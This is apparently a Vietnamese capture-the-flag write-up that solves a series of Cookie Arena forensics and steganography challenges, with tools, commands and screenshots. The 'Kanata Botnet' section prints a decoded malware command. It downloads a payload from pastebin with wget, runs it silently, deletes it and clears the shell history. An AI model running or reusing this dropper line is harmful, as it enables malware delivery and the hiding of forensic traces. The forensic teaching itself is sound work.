💡 Some Digital Forensics and Steganoraphy Challenge in platform [Cookie Arena](https://battle.cookiearena.org/challenges/digital-forensics) # File Extension > *Description: Is real photo?* Mình mở HxD xem thử file thì 2 byte đầu tiên là `4D 5A` (`MZ`). Đây là 2 byte đầu tiên của header file thực thi 16-bit DOS MZ executable, với extension là `.exe`. Nên mình đổi extension và chạy file trong terminal. ![Screenshot_2023-06-18_194520](https://hackmd.io/_uploads/Hk30YWSVp.png) --- # Streamer > *Description: PCAP stands for "Packet Capture." It refers to a file format and a common method for capturing and storing network traffic data. PCAP files are widely used in network analysis and troubleshooting to capture packets flowing through a network interface.* > *To extract files from a PCAP (Packet Capture) file through TCP streams, you can use various tools and scripts. One popular tool for this purpose is Wireshark, a network protocol analyzer that allows you to inspect and extract data from captured packets.* > *When you got a message `Flag{XXX}`, please submit the flag with format `CHH{XXX}`* Mình mở file bằng wireshark, sau đó vào File -> Export Objects -> HTTP và mình export all file, mình kiểm tra file evilcontent.zip thì thấy một file flag.txt, nhưng muốn mở thì cần phải có password. Nên mình kiểm tra các file .php và thấy password trong file login.php. ![Screenshot_2023-06-18_195611](https://hackmd.io/_uploads/Hy5ff13w6.png) --- # ****Thumbnail**** - **File: thumb.db** *Description: In Windows, `thumbs.db` files are database files containing the small images displayed when you view a folder in Thumbnail view (as opposed to Tile, Icon, List, or Detail view). These files are automatically generated by Windows, and there is no harm in deleting them or excluding them from system backups.* Ban đầu mình mở bằng `Thumbcache viewer` mà không phải nên mình dùng Cyberchef extract luôn cho nhanh, có nhiều file ảnh jpg trong đó và có một tấm là flag. ![Screenshot_2023-06-18_213011](https://hackmd.io/_uploads/S1IEfyhvT.png) --- # **Basic Image** - ********************File: bruteme.xlsx******************** *Describe: Photo metadata is data attached to image files that describes what the file is, when the image was taken, where it was taken, and how the file has been modified. Whenever a photo is taken digitally, the image is stored alongside its descriptive metadata.* `*ExifTool` is a free and open source software program which is used to read, write and update metadata of various types of files such as PDF, Audio, Video and images.* *When you got a message `Flag{XXX}`, please submit the flag with format `CHH{XXX}`* Theo mô tả của đề bài thì mình đổi brutme.xlsx thành brutem.zip và unzip nó. Kiểm tra nội dung của các file xml thì mình tìm thấy flag ở file sharedStrings.xml --- # Online Camera - **File: WebCam.png** *Description: You get a photo of a place taken from a online camera Use `https://holidaylivecam.com/camera/search?tag%5B%5D=schools_universities` to find the place* *Please check where the photo was taken* *FLAG Format is CHH{NAME_OF_PLACE}, for example CHH{Hong_Kong_Island}* Mình dùng Google image để search thử tấm ảnh. Ra trường đại học này, sau đó tìm địa chỉ của nó. --- # **Audacity** - **File: squitgame.wav** *Description:* *The Spectrogram View of an audio track provides a visual indication of how the energy in different frequency bands changes over time. The Spectrogram can show sudden onset of a sound, so it can often be easier to see clicks and other glitches or to line up beats in this view rather than in one of the waveform views.* *When you got a message `Flag{XXX}`, please submit the flag with format `CHH{XXX}`* Theo mô tả của đề bài thì mình mở file bằng tool `Audacity` và chỉnh là xem ở chế độ `Spectrogram`. Mình nghe thử thì thấy có một đoạn có những âm thanh hơi chói tai, nên mình đoán đây là kiểu giấu tin trong Spectrum. Mình vào Spectrogram Settings chỉnh thông số một xíu thì thấy flag. ![Screenshot_2023-06-19_140419](https://hackmd.io/_uploads/H1uFG1hvp.png) --- # **From The Above** - **************************File: ufo.wav************************** *Every day multiple NOAA weather satellites pass above you. Each NOAA weather satellite broadcasts an Automatic Picture Transmission (APT) signal, which contains a live weather image of your area.* *We have an APT audio recording. Could you decode it? When you got a message `Flag{XXX}`, please submit the flag with format `CHH{XXX}`* Theo mô tả của đề bài, mình tìm hiểu về APT và NOAA, mình tìm thấy một tool là noaa-apt để decode APT audio recording. Dưới đây là giao diện của tool này. ![Untitled](https://hackmd.io/_uploads/ryq9fknPT.png) Mình decode bản ghi âm đề cho và lưu tấm ảnh sau khi decode về. ![image](https://hackmd.io/_uploads/Hk7eQ1nDa.png) --- # Kanata Botnet - *************************************File: payload.py************************************* *Description: Gần đây chúng tôi phát hiện một số dịch vụ bất thường chạy trên máy chủ Linux của chúng tôi. Chúng tôi nghi ngờ nó đang bị lạm dụng để phân phối các tải trọng độc hại. Sau khi rà soát máy chủ, chúng tôi tìm thấy một tệp có vẻ là nguồn gốc của sự cố. Hãy giúp chúng tôi phân tích để tìm ra địa chỉ CnC đang lưu trữ tải trọng* Trong file python này, có một đoạn đáng chú ý là cmd được encode base64. ```python def exploitmake(cmd): subprocess.call(cmd, shell=True) encoded = "Y2QgL3RtcDsgd2dldCBodHRwczovL3Bhc3RlYmluLmNvbS9yYXcvelltOHBWY3ogLU8gYSA+IC9kZXYvbnVsbCAyPiYxOyBjaG1vZCA3NzcgYTsgc2ggYSA+IC9kZXYvbnVsbCAyPiYxOyBybSAtcmYgYTsgaGlzdG9yeSAtYzsgY2xlYXI7" exploit = str(base64.b64decode(encoded)) ``` Mình decode thì: ```python exploit = cd /tmp; wget [https://pastebin.com/raw/zYm8pVcz](https://pastebin.com/raw/zYm8pVcz) -O a > /dev/null 2>&1; chmod 777 a; sh a > /dev/null 2>&1; rm -rf a; history -c; clear; ``` Truy cập link: [https://pastebin.com/raw/zYm8pVcz](https://pastebin.com/raw/zYm8pVcz) để lấy flag. # **Yellow Whistleblower** - ***File: huong-dan-ve-ga-cookiehanhoan.pdf*** *Description: A Machine Identification Code (MIC), also known as printer steganography, yellow dots, tracking dots, or secret dots, is a digital watermark that certain color laser printers and copiers leave on every printed page, allowing identification of the device which was used to print a document and giving clues to the originator.* *Developed by Xerox and Canon in the mid-1980s, its existence became public only in 2004. In 2018, scientists developed privacy software to anonymize prints to support whistleblowers publishing their work.* ***The flag format is CHH{Manufacturer-YYYYMMDD-HHMM}*** - *YYYY: Year* - *MM: Month* - *DD: Day* - *HH: Hour* - *MM: Minute* - *Manufacturer: Name of printer (eg, Epson, Dell, HP,..)* A Machine Identification Code (MIC) hay còn được biết đến là yellows dots (còn nhiều cái tên khác nữa), hiểu nôm na là trên một paper được thêm vào những dấu chấm bí mật khó phát hiện bằng mắt thường, nhằm nhận dạng máy in được dùng để in paper đó. Sau khi tải file .pdf thì mình dùng `pdftoppm` để convert sang file ảnh. ```bash $ pdftoppm huong-dan-ve-ga-cookiehanhoan.pdf pic -png ``` Sau khi tìm hiểu thì có một trang github giúp phân tích yellow dots là [deda](https://github.com/dfd-tud/deda) . Trước tiên mình tải theo hướng dẫn trước. ```bash $ pip3 install --user deda $ pip3 install --user wand ``` Và dùng thử bằng câu lệnh `deda_parse_print pic-1.png` nhưng bị lỗi ```bash raise ImportError('MagickWand shared library not found.\n' ImportError: MagickWand shared library not found. You probably had not installed ImageMagick library. Try to install: https://docs.wand-py.org/en/latest/guide/install.htm ``` Sau đó mình phải tải thêm một thư viện ImageMagick. `sudo apt install libmagickwand-dev` Thử lại câu lệnh `deda_parse_print` thì mình có được thông tin của máy như sau: ![Untitled 1](https://hackmd.io/_uploads/rkjnXynPp.png) --- # Event Subscription - ***Folder: Repository*** *Description: Đội CSIRT của chúng tôi được yêu cầu xử lý sự cố trên một máy chủ mà chúng tôi đã xử lý xong cách đây vài ngày. Vì vậy chúng tôi tin rằng vẫn còn một cơ chế persistence nào đó của kẻ tấn công mà chúng tôi đã bỏ sót* Đây là lần đầu tiên mình thấy các file có extension như vậy, nên khá là lạ lẫm. ![Screenshot_2023-06-20_185338](https://hackmd.io/_uploads/BkVCXJnPp.png) Lúc đầu mình search không ra, do keyword sai + mình chỉ search extension xem nó là gì thui. Sau đó được gợi ý thì mình search ra được Repository này là `WMI Repository`. Chi tiết về WMI thì xem tại [trang](https://netsecninja.github.io/dfir-notes/wmi-forensics/) này. Ngoài ra thì mình cũng tham khảo [WU](https://www.hackthebox.com/blog/perseverance-biz-ctf-2022-forensics-writeup) của challenge khá tương tự. Bước đầu tiên mình đọc file [OBJECTS.DATA](http://OBJECTS.DATA) bằng cách git clone repo [WMI_Forensics](https://github.com/davidpany/WMI_Forensics) và chạy file [`PyWMIPersistenceFinder.](https://github.com/davidpany/WMI_Forensics/blob/master/PyWMIPersistenceFinder.py)py` ```bash $ python2 [PyWMIPersistenceFinder.](https://github.com/davidpany/WMI_Forensics/blob/master/PyWMIPersistenceFinder.py)py OBJECTS.DATA ``` Cuối cùng thì mình ra được danh sách binding (? or binds?) ![Screenshot_2023-06-20_210613](https://hackmd.io/_uploads/SJieEyhDT.png) Chỗ arguments của consumer đầu tiên có vẻ được encode rồi, mình decode base64 thử thì ra flag luôn. --- # Ecoji - **Folder: Packages** *Describe: Annie nghi ngờ rằng chồng mình có nhân tình vì anh ta thường xuyên sử dụng emoji (biểu tượng cảm xúc) của Windows để nhắn tin như một dạng mã hóa tin nhắn. Vì vậy nhân lúc chồng đi vắng, cô ấy quyết định forensics xem anh ta đã nhắn những gì* Ban đầu mình để ý file `$I30` trước, đây là file `NTFS $I30 Index Attributes`, nói đại khái thì file này sẽ cung cấp cho chúng ta sự có mặt của một file trong thư mục và những thông tin liên quan khác (tên file, thời gian khởi tạo, size… xem chi tiết tại [đây](https://www.sans.org/blog/ntfs-i30-index-attributes-evidence-of-deleted-and-overwritten-files/)). Mình thử parse và xem thử vài file $I30 thì không có thông tin gì thêm nên mình đổi hướng khác. Vì bài này liên quan tới Ecoji nên mình lên mạng search và thấy một [blog](https://www.sans.org/blog/ntfs-i30-index-attributes-evidence-of-deleted-and-overwritten-files/) về location của ecoji trong file system. Path là `Packages/MicrosoftWindows.Client.CBS_cw5n1h2txyewy/Settings/setting.dat` ![Untitled 2](https://hackmd.io/_uploads/HkpVVy3Da.png) `Replace input with output` thì ta sẽ thấy được các ecoji trong file này. Và trước mỗi hình đều có một con số, mình đoán là số lần sử dụng, nên mình chỉ lấy các ecoji có số 1 phía trước thôi. ![Untitled 3](https://hackmd.io/_uploads/S15L4k2DT.png) 🍨🧬🤛🍔🚃👩🐰🖖🚂💅🛁📰🍌️🧙‍♂️ Sau đó mình decrypt 7749 lần với đủ loại thứ tự thì không ra gì hết, nên mình thử encrypt cái format thử. (repo dùng để decrypt và encrypt ecoji tại [đây](https://github.com/keith-turner/ecoji)) ![Screenshot_2023-06-27_004241](https://hackmd.io/_uploads/H1zOVJnv6.png) ![Untitled 4](https://hackmd.io/_uploads/BJVKNJnv6.png) Qua hai ảnh trên thì mình đoán là ecoji phải đảo ngược lại. 🧙‍♂️🍌📰🛁💅🚂🖖🐰👩🚃🍔🤛🧬🍨 ![Untitled 5](https://hackmd.io/_uploads/rJXqVy3Pa.png) --- # Dismantling - **File: dismantling.pcap** *Description: Be careful with Alternative Protocol* Sau khi mở file lên thì mình thấy có khá nhiều loại protocol khác nhau, kéo xem hết một lượt thì mình lấy protocol DNS có những query rất lạ. ![Untitled 6](https://hackmd.io/_uploads/Bk3cN13wT.png) Những tên miền được query không tồn tại, và phần trước .cookiearena đều là những chuỗi hex. Đầu tiên thì mình export data bằng tshark trước. ```bash tshark -r Dismantling.pcap -Y "dns and ip.src == 192.168.25.135" -T fields -e dns.qry.name > output ``` File sẽ trong như thế này: ![Untitled 7](https://hackmd.io/_uploads/rJOs413D6.png) Nên tiếp theo đó mình viết một script bằng python để lấy phần hex ra. ```python s="" with open(r"Dismantiling\output", "r") as file: for line in file: line= line.strip() # loại bỏ khoảng trắng và xuống dòng parts=line.split(".cookiearena.org") s+=parts[0] with open(r"Dismantiling\hexfile.txt", "w") as file: file.write(s) ``` ```bash cat hexfile.txt | xxd -r -p > out file out ``` ![Untitled 8](https://hackmd.io/_uploads/S1034khwT.png) Đây là file excel nên là mình đổi tên file thành out.xlsx và mở file. ![Untitled 9](https://hackmd.io/_uploads/HJLT4khwp.png) --- # Can you see me? - ********************File: s3cr3t.png******************** *Description: Doing with image files should be the first step for anyone who learning cybersecurity.* Đầu tiên mình exiftool xem thử thông tin ảnh này. ![Untitled 10](https://hackmd.io/_uploads/BkkCNk3PT.png) Phần comment có gì đó lạ, và ảnh png này cũng bị corrupt luôn. Mình check xem ảnh này bị gì nhé `pngcheck -v s3cr3t.png` ![Untitled 11](https://hackmd.io/_uploads/B1gkSkhD6.png) Mình tìm xem chunk `00 4e 00 47` nằm ở đâu. ![Untitled 12](https://hackmd.io/_uploads/HkdkS1hvT.png) Có thể thấy là đang được giấu một ảnh png khác, mình sẽ extract phần này ra, có những cột 00 ở giữa nên mình sẽ bỏ phần này luôn. ```python data = "89 00 50 00 4E 00 47 00 0D 00 0A 00 1A 00 0A 00 00 00 00 00 00 00 0D 00 49 00 48 00 44 00 52 00 00 00 00 00 00 00 FA 00 00 00 00 00 00 00 FA 00 08 00 02 00 00 00 00 00 00 00 07 00 8E 00 CD 00 6A 00 00 00 00 00 0D 00 C3 00 49 00 44 00 41 00 54 00 78 00 9C 00 ED 00 DD 00 4F 00 A8 00 AE 00 55 00 15 00 C7 00 F1 00 AF 00 47 00 F3 00 6F 00 54 00 84 00 8A 00 98 00 88 00 23 00 9D 00 35 00 12 00 A9 00 91 00 14 00 06 00 41 00 16 00 37 00 A8 00 28 00 6A 00 90 00 29 00 35 00 C8 00 82 00 24 00 4D 00 10 00 4B 00 03 00 9D 00 4A 00 D0 00 A4 00 E8 00 0F 00 84 00 0D 00 9A 00 39 00 0A 00 42 00 48 00 A2 00 A0 00 46 00 41 00 D1 00 20 00 25 00 C4 00 20 00 E9 00 5E 00 2A 00 EC 00 9F 00 50 00 A0 00 FC 00 1A 00 2C 00 0F 00 67 00 79 00 F7 00 79 00 9E 00 9E 00 7B 00 DF 00 F7 00 5C 00 9F 00 67 00 AD 00 DF 00 CB 00 82 00 F7 00 7D 00 9F 00 3F 00 FB 00 D9 00 67 00 EF 00 75 00 3F 00 AC 00 7D 00 D8 00 F7 00 5E 00 24 00 A4 00 53 00 12 00 D2 00 07 00 24 00 A4 00 8B 00 25 00 A4 00 4B 00 24 00 A4 00 2B 00 25 00 0E 00 E3 00 8A 00 F4 00 39 00 C7 00 9B 00 25 00 A4 00 AF 00 4A 00 48 00 BF 00 94 00 90 00 3E 00 26 00 21 00 3D 00 23 00 21 00 FD 00 57 00 42 00 BA 00 45 00 42 00 7A 00 5A 00 42 00 BA 00 69 00 A2 00 9D 00 AB 00 27 00 8E 00 5F 00 9E 00 3E 00 DF 00 90 00 3E 00 7F 00 56 00 42 00 BA 00 57 00 42 00 BA 00 4B 00 42 00 FA 00 9C 00 84 00 F4 00 4E 00 09 00 E9 00 CB 00 12 00 D2 00 83 00 E9 00 F3 00 47 00 25 00 A4 00 8F 00 0C 00 3F 00 4B 00 FC 00 BC 00 1F 00 97 00 90 00 EE 00 90 00 90 00 1E 00 91 00 90 00 EE 00 91 00 90 00 1E 00 9F 00 38 00 7E 00 7F 00 6A 00 FF 00 AA 00 D4 00 DA 00 45 00 69 00 F4 00 4E 00 A7 00 F6 00 73 00 CC 00 9F 00 7D 00 4E 00 42 00 BA 00 4F 00 42 00 BA 00 46 00 42 00 7A 00 40 00 42 00 BA 00 55 00 42 00 FA 00 9E 00 84 00 F4 00 0F 00 09 00 E9 00 61 00 09 00 E9 00 FD 00 12 00 D2 00 F3 00 12 00 D2 00 7B 00 25 00 A4 00 EB 00 25 00 A4 00 7F 00 49 00 48 00 77 00 4B 00 48 00 9F 00 94 00 90 00 7E 00 25 00 21 00 DD 00 9E 00 7A 00 FE 00 13 00 09 00 E9 00 7D 00 12 00 D2 00 87 00 25 00 A4 00 2F 00 4A 00 48 00 0F 00 49 00 48 00 2F 00 49 00 48 00 3F 00 94 00 90 00 5E 00 96 00 90 00 9E 00 95 00 90 00 FE 00 22 00 21 00 3D 00 26 00 21 00 FD 00 4E 00 42 00 7A 00 54 00 42 00 BA 00 76 00 C8 00 A5 00 CB 00 D2 00 0C 00 EE 00 2B 00 1F 00 72 00 FB 00 31 00 DA 00 07 00 12 00 D2 00 8D 00 69 00 3C 00 27 00 F3 00 36 00 37 00 74 00 21 00 13 00 F7 00 BA 00 89 00 6B 00 72 00 5C 00 34 00 71 00 FC 00 C9 00 34 00 C4 00 53 00 B1 00 CB 00 1F 00 86 00 37 00 A5 00 76 00 E6 00 FF 00 30 00 9C 00 5C 00 D2 00 E7 00 49 00 8D 00 FE 00 5C 00 BA 00 78 00 AC 00 F2 00 E7 00 0F 00 4D 00 5C 00 7F 00 DF 00 82 00 F1 00 CF 00 7D 00 28 00 82 00 20 00 B3 00 13 00 6F 00 05 00 9B 00 2A 00 98 00 A2 00 14 00 82 00 F1 00 66 00 05 00 AD 00 60 00 8B 00 52 00 30 00 2E 00 B2 00 82 00 56 00 30 00 47 00 D9 00 52 00 70 00 C9 00 60 00 59 00 C1 00 76 00 0A 00 4A 00 94 00 44 00 70 00 79 00 42 00 E4 00 07 00 58 00 C1 00 88 00 B2 00 0A 00 2E 00 18 00 AB 00 4D 00 22 00 38 00 D5 00 09 00 2B 00 18 00 D1 00 54 00 C1 00 C5 00 F9 00 90 00 DB 00 DF 00 00 00 82 00 F1 00 C5 00 0A 00 5A 00 C1 00 16 00 A5 00 E0 00 01 00 00 00 67 00 00 00 B8 00 04 00 80 00 D3 00 00 00 5C 00 CC 00 D9 00 AF 00 8B 00 27 00 CE 00 7E 00 0A 00 80 00 4F 00 00 00 70 00 1F 00 00 00 D7 00 00 00 F0 00 00 00 00 00 B7 00 02 00 F0 00 2E 00 00 00 1E 00 03 00 E0 00 06 00 00 00 FE 00 08 00 C0 00 53 00 00 00 FC 00 1A 00 80 00 1F 00 00 00 F0 00 35 00 00 00 DE 00 02 00 C0 00 65 00 00 00 FC 00 1C 00 80 00 DB 00 01 00 B8 00 1F 00 80 00 BB 00 00 00 B8 00 08 00 80 00 DF 00 00 00 70 00 25 00 00 00 97 00 02 00 F0 00 15 00 00 00 BE 00 0D 00 C0 00 CB 00 00 00 FC 00 1E 00 80 00 3F 00 03 00 F0 00 DD 00 74 00 D7 00 A3 00 00 00 5C 00 0B 00 C0 00 9D 00 00 00 DC 00 0D 00 1C 00 8E 00 C3 00 E5 00 00 00 3C 00 03 00 C0 00 8F 00 00 00 F8 00 03 00 00 00 3F 00 06 00 E0 00 7A 00 8E 00 7F 00 5D 00 0D 00 80 00 D2 00 91 00 F8 00 7C 00 0A 00 80 00 57 00 53 00 CF 00 63 00 E4 00 6F 00 04 00 E0 00 1B 00 E9 00 A7 00 88 00 D7 00 15 00 43 00 CB 00 4F 00 01 00 F0 00 33 00 00 00 1E 00 02 00 0E 00 47 00 E6 00 CE 00 D4 00 CF 00 BF 00 03 00 70 00 0B 00 00 00 4F 00 03 00 70 00 13 00 00 00 FF 00 06 00 E0 00 EB 00 00 00 BC 00 1B 00 80 00 9F 00 02 00 F0 00 1E 00 E0 00 70 00 9C 00 9F 00 05 00 E0 00 83 00 00 00 BC 00 00 00 C0 00 75 00 43 00 1F 00 FE 00 3A 00 1C 00 89 00 9F 00 E5 00 3F 00 E9 00 C8 00 9F 00 00 00 78 00 12 00 80 00 77 00 00 00 F0 00 4D 00 00 00 BE 00 0F 00 C0 00 B7 00 00 00 F8 00 2D 00 00 00 FF 00 4C 00 7D 00 FB 00 1B 00 00 00 6F 00 07 00 E0 00 39 00 00 00 3E 00 0F 00 C0 00 83 00 00 00 7C 00 09 00 38 00 1C 00 BD 00 B7 00 01 00 87 00 B9 00 F4 00 1D 00 00 00 1E 00 06 00 0E 00 47 00 FE 00 17 00 C0 00 61 00 8E 00 BD 00 94 00 EE 00 FA 00 02 00 00 00 57 00 8D 00 26 00 59 00 41 00 2B 00 B8 00 AF 00 7C 00 58 00 5D 00 29 00 18 00 DD 00 72 00 2D 00 78 00 AE 00 FD 00 F4 00 82 00 38 00 C7 00 66 00 10 00 CC 00 03 00 61 00 05 00 AD 00 60 00 F1 00 05 00 71 00 BC 00 59 00 41 00 2B 00 38 00 F6 00 A1 00 20 00 82 00 0C 00 13 00 6F 00 05 00 AD 00 60 00 D9 00 52 00 30 00 0E 00 59 00 C1 00 1C 00 56 00 B0 00 6C 00 29 00 18 00 37 00 58 00 41 00 2B 00 D8 00 A2 00 14 00 9C 00 1A 00 2C 00 2B 00 D8 00 5A 00 41 00 89 00 92 00 08 00 CE 00 27 00 44 00 7E 00 80 00 15 00 8C 00 68 00 A1 00 E0 00 C4 00 58 00 6D 00 1E 00 C1 00 DC 00 90 00 15 00 8C 00 B0 00 82 00 F3 00 F9 00 90 00 DB 00 DF 00 18 00 82 00 C7 00 5E 00 77 00 56 00 EA 00 8C 00 61 00 05 00 E7 00 C7 00 6A 00 F3 00 0A 00 A6 00 28 00 85 00 60 00 EC 00 DC 00 F0 00 3E 00 19 00 EF 00 93 00 79 00 01 00 A8 00 B9 00 4F 00 06 00 0E 00 67 00 E4 00 D5 00 25 00 CE 00 59 00 C1 00 76 00 0A 00 EE 00 90 00 0F 00 AB 00 2E 00 05 00 A3 00 8B 00 AE 00 05 00 97 00 F4 00 D3 00 0B 00 E2 00 1C 00 9B 00 44 00 30 00 4E 00 AC 00 2D 00 99 00 AC 00 A0 00 17 00 C4 00 B9 00 FD 00 BD 00 21 00 18 00 87 00 AC 00 A0 00 15 00 6C 00 51 00 0A 00 8E 00 3F 00 8C 00 15 00 B4 00 82 00 65 00 4B 00 C1 00 38 00 6D 00 05 00 AD 00 60 00 8B 00 52 00 30 00 6E 00 B6 00 82 00 56 00 B0 00 45 00 29 00 38 00 35 00 70 00 56 00 B0 00 B5 00 82 00 12 00 25 00 11 00 1C 00 4F 00 E4 00 07 00 58 00 C1 00 88 00 76 00 0A 00 4E 00 7C 00 DE 00 3C 00 82 00 53 00 9D 00 B3 00 82 00 AD 00 15 00 1C 00 22 00 B7 00 BF 00 61 00 04 00 C7 00 1B 00 AC 00 A0 00 15 00 2C 00 5B 00 0A 00 1E 00 0C 00 3B 00 22 00 BC 00 4F 00 C6 00 FB 00 64 00 6A 00 ED 00 93 00 39 00 BA 00 F2 00 C5 00 FC 00 A7 00 CA 00 0A 00 5A 00 C1 00 E2 00 A5 00 60 00 74 00 D7 00 B5 00 A0 00 17 00 C4 00 2D 00 4A 00 C1 00 B8 00 68 00 0D 00 C9 00 64 00 05 00 57 00 A4 00 A0 00 44 00 49 00 04 00 D9 00 53 00 47 00 AD 00 60 00 8E 00 CD 00 2B 00 28 00 51 00 12 00 C1 00 25 00 13 00 6F 00 05 00 DB 00 29 00 B8 00 A7 00 7E 00 AE 00 0E 00 41 00 D2 00 17 00 2B 00 38 00 46 00 EE 00 43 00 23 00 05 00 17 00 CC 00 FB 00 26 00 11 00 8C 00 86 00 AC 00 20 00 C3 00 64 00 E7 00 68 00 A7 00 60 00 FA 00 5C 00 0A 00 C1 00 7C 00 C2 00 0A 00 5A 00 C1 00 E2 00 A5 00 20 00 C3 00 03 00 AC 00 60 00 44 00 6B 00 05 00 D3 00 E7 00 52 00 08 00 E6 00 13 00 56 00 D0 00 0A 00 E6 00 C8 00 ED 00 17 00 41 00 30 00 A7 00 CE 00 18 00 56 00 70 00 8C 00 16 00 0A 00 A6 00 28 00 85 00 60 00 EC 00 E8 00 F0 00 3E 00 19 00 EF 00 93 00 A9 00 BB 00 4F 00 06 00 8E 00 B2 00 DA 00 0A 00 5A 00 C1 00 89 00 19 00 2F 00 58 00 0A 00 46 00 D7 00 5D 00 0B 00 E6 00 F0 00 82 00 38 00 47 00 29 00 04 00 C7 00 9B 00 AD 00 A0 00 15 00 2C 00 BB 00 20 00 66 00 87 00 8E 00 5A 00 C1 00 1C 00 A5 00 14 00 1C 00 A2 00 08 00 82 00 4C 00 4C 00 BC 00 15 00 6C 00 AD 00 E0 00 0E 00 FD 00 5C 00 35 00 82 00 71 00 9B 00 15 00 9C 00 EA 00 43 00 53 00 05 00 27 00 E6 00 7D 00 F3 00 08 00 46 00 A3 00 56 00 70 00 8C 00 D6 00 0A 00 4A 00 94 00 44 00 70 00 EA 00 06 00 2B 00 D8 00 5A 00 41 00 89 00 92 00 08 00 E6 00 E1 00 B6 00 82 00 56 00 30 00 A2 00 6C 00 29 00 98 00 BF 00 58 00 41 00 2B 00 98 00 DB 00 2F 00 88 00 E0 00 78 00 C2 00 0A 00 4E 00 0E 00 D6 00 F0 00 B9 00 AC 00 82 00 E9 00 73 00 29 00 04 00 0F 00 5E 00 B7 00 A3 00 00 00 BC 00 4F 00 E6 00 F5 00 2F 00 EF 00 93 00 D9 00 FE 00 3E 00 19 00 80 00 57 00 5E 00 3B 00 6B 00 05 00 AD 00 E0 00 A8 00 E0 00 C4 00 D9 00 CD 00 97 00 82 00 A4 00 64 00 72 00 2D 00 18 00 E1 00 05 00 71 00 D9 00 52 00 30 00 DE 00 AC 00 A0 00 15 00 6C 00 B1 00 20 00 3E 00 B6 00 95 00 99 00 8E 00 5A 00 C1 00 1C 00 65 00 15 00 94 00 28 00 89 00 20 00 69 00 E2 00 AD 00 A0 00 15 00 2C 00 5E 00 0A 00 E6 00 86 00 AC 00 A0 00 15 00 2C 00 5E 00 0A 00 C6 00 03 00 AC 00 60 00 84 00 15 00 2C 00 5E 00 0A 00 E6 00 1B 00 AC 00 A0 00 15 00 2C 00 5E 00 0A 00 C6 00 09 00 2B 00 68 00 05 00 5B 00 94 00 82 00 FB 00 9A 00 78 00 2B 00 58 00 4A 00 41 00 89 00 92 00 08 00 C6 00 9B 00 15 00 9C 00 1F 00 AC 00 76 00 0A 00 EE 00 69 00 DE 00 57 00 87 00 60 00 EC 00 F4 00 F0 00 3E 00 99 00 FC 00 F2 00 3E 00 99 00 5A 00 FB 00 64 00 F2 00 59 00 2B 00 68 00 05 00 67 00 CF 00 96 00 2A 00 05 00 F3 00 14 00 BA 00 16 00 9C 00 0F 00 2F 00 88 00 37 00 8F 00 60 00 7C 00 B1 00 82 00 56 00 30 00 27 00 53 00 D9 00 05 00 F1 00 92 00 8E 00 5A 00 C1 00 1C 00 2D 00 14 00 94 00 28 00 89 00 20 00 17 00 3C 00 21 00 AC 00 E0 00 7C 00 42 00 E4 00 F6 00 5D 00 0A 00 46 00 EC 00 0D 00 C1 00 78 00 B3 00 82 00 56 00 30 00 CF 00 7B 00 D9 00 52 00 30 00 1E 00 66 00 05 00 AD 00 60 00 8B 00 52 00 F0 00 FF 00 8E 00 3E 00 56 00 B0 00 A1 00 82 00 12 00 25 00 11 00 8C 00 8B 00 D6 00 96 00 B8 00 56 00 D0 00 A5 00 E0 00 89 00 20 00 C8 00 0E 00 13 00 6F 00 05 00 CB 00 2A 00 28 00 B1 00 BE 00 C4 00 DD 00 03 00 82 00 F3 00 37 00 5B 00 C1 00 88 00 76 00 0A 00 EE 00 30 00 EF 00 AB 00 46 00 30 00 76 00 7D 00 78 00 9F 00 8C 00 F7 00 C9 00 D4 00 DD 00 27 00 73 00 F4 00 BA 00 D9 00 0A 00 5A 00 C1 00 46 00 A5 00 20 00 7B 00 4A 00 88 00 FC 00 80 00 46 00 B5 00 E0 00 EC 00 BD 00 2E 00 05 00 23 00 56 00 84 00 60 00 9C 00 B0 00 82 00 56 00 B0 00 C5 00 82 00 F8 00 D8 00 A3 00 58 00 C1 00 D7 00 47 00 3B 00 05 00 25 00 4A 00 22 00 C8 00 05 00 49 00 08 00 2B 00 38 00 9F 00 10 00 B9 00 FD 00 55 00 28 00 38 00 71 00 7C 00 F3 00 08 00 C6 00 A1 00 47 00 24 00 AC 00 E0 00 61 00 AC 00 21 00 99 00 5C 00 0A 00 9E 00 08 00 82 00 F1 00 60 00 2B 00 68 00 05 00 5B 00 94 00 82 00 53 00 8D 00 E6 00 4E 00 58 00 C1 00 3C 00 F1 00 2D 00 14 00 94 00 28 00 89 00 20 00 C3 00 64 00 E7 00 B0 00 82 00 4D 00 15 00 9C 00 88 00 DC 00 87 00 4D 00 22 00 C8 00 39 00 4E 00 BC 00 15 00 6C 00 A1 00 E0 00 30 00 D7 00 39 00 36 00 8C 00 E0 00 78 00 91 00 15 00 8C 00 68 00 AD 00 E0 00 39 00 CE 00 FB 00 66 00 10 00 8C 00 1D 00 20 00 DE 00 27 00 43 00 FA 00 7C 00 0A 00 F0 00 3E 00 99 00 3A 00 FB 00 64 00 00 00 9E 00 07 00 E0 00 36 00 AC 00 A0 00 15 00 1C 00 15 00 94 00 28 00 59 00 0A 00 B2 00 43 00 42 00 E4 00 07 00 34 00 AD 00 05 00 87 00 70 00 29 00 18 00 B1 00 52 00 04 00 E3 00 22 00 2B 00 B8 00 3C 00 21 00 5A 00 28 00 B8 00 43 00 3E 00 E4 00 F6 00 57 00 87 00 60 00 3E 00 61 00 05 00 73 00 B4 00 56 00 50 00 A2 00 24 00 82 00 9C 00 58 00 42 00 58 00 C1 00 F9 00 84 00 C8 00 ED 00 AF 00 4E 00 C1 00 14 00 A5 00 10 00 8C 00 D3 00 56 00 70 00 0D 00 C9 00 B4 00 22 00 05 00 4F 00 2C 00 1F 00 DE 00 60 00 04 00 A3 00 13 00 56 00 D0 00 0A 00 B6 00 28 00 05 00 A7 00 3A 00 61 00 05 00 F3 00 C4 00 B7 00 53 00 50 00 A2 00 24 00 82 00 63 00 43 00 56 00 D0 00 0A 00 4E 00 F5 00 61 00 F3 00 08 00 B2 00 60 00 E2 00 AD 00 60 00 3B 00 05 00 87 00 28 00 82 00 60 00 BC 00 59 00 C1 00 08 00 2B 00 58 00 BC 00 14 00 8C 00 DD 00 20 00 DE 00 27 00 73 00 0A 00 F0 00 3E 00 99 00 9A 00 FB 00 64 00 00 00 9E 00 78 00 ED 00 E7 00 B2 00 82 00 56 00 70 00 54 00 50 00 A2 00 64 00 29 00 78 00 EC 00 AC 00 CF 00 24 00 44 00 7E 00 80 00 6B 00 C1 00 08 00 97 00 82 00 11 00 1B 00 40 00 30 00 6E 00 B8 00 69 00 A2 00 21 00 2B 00 18 00 D1 00 4E 00 C1 00 73 00 CC 00 87 00 DC 00 FE 00 AA 00 11 00 CC 00 5F 00 AC 00 A0 00 15 